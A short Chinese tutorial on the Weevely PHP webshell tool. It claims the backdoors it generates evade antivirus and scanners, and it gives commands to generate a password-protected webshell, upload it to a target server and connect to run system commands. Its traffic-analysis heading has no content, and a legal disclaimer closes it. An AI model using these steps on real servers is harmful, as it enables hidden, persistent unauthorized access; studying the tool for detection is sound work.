Weevely使用方法以及通信流量分析
Weevely简介
weevely项目地址:点击查看
weevely是一款针对PHP的webshell的自由软件，可用于模拟一个类似于telnet的连接shell，weevely通常用于web程序的漏洞利用，隐藏后门或者使用类似telnet的方式来代替web 页面式的管理，weevely生成的服务器端php代码是经过了base64编码的，所以可以骗过主流的杀毒软件和IDS，上传服务器端代码后通常可以通过weevely直接运行。
weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术，后门中所使用的函数均是常用的字符串处理函数，被作为检查规则的eval，system等函数都不会直接出现在代码中，从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描，结果显示该文件无任何威胁。
Weevely安装运行
v5pingan's Blog-Weevely(PHP菜刀)-环境搭建
- 可以直接在kali上运行
root@kali:/bin# weevely
Weevely使用方法
- Linux
生成Webshell
//生成PHP-Webshell
weevely.py generate [password] [back_door_path]
//生成一个密码为"a"的php木马
weevely generate a webshell.php
连接后门木马
//连接PHP后门：weevely.py URL [password] [cmd]cmd为可选
weevely http://127.0.0.1/webshell.php a
weevely实战利用
1、利用weevely生成PHP-Webshell
weevely generate a webshell.php
2、上传Webshell到目标服务器
3、weevely连接PHP-Webshell
weevely http://192.168.2.100/webshell.php a
4、weevely管理websehll,执行系统命令
weevely流量分析
声明
严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合!
参考链接
v5pingan's Blog-Weevely(PHP菜刀)
freebuf-Weevely命令传输分析
weevely3后门分析
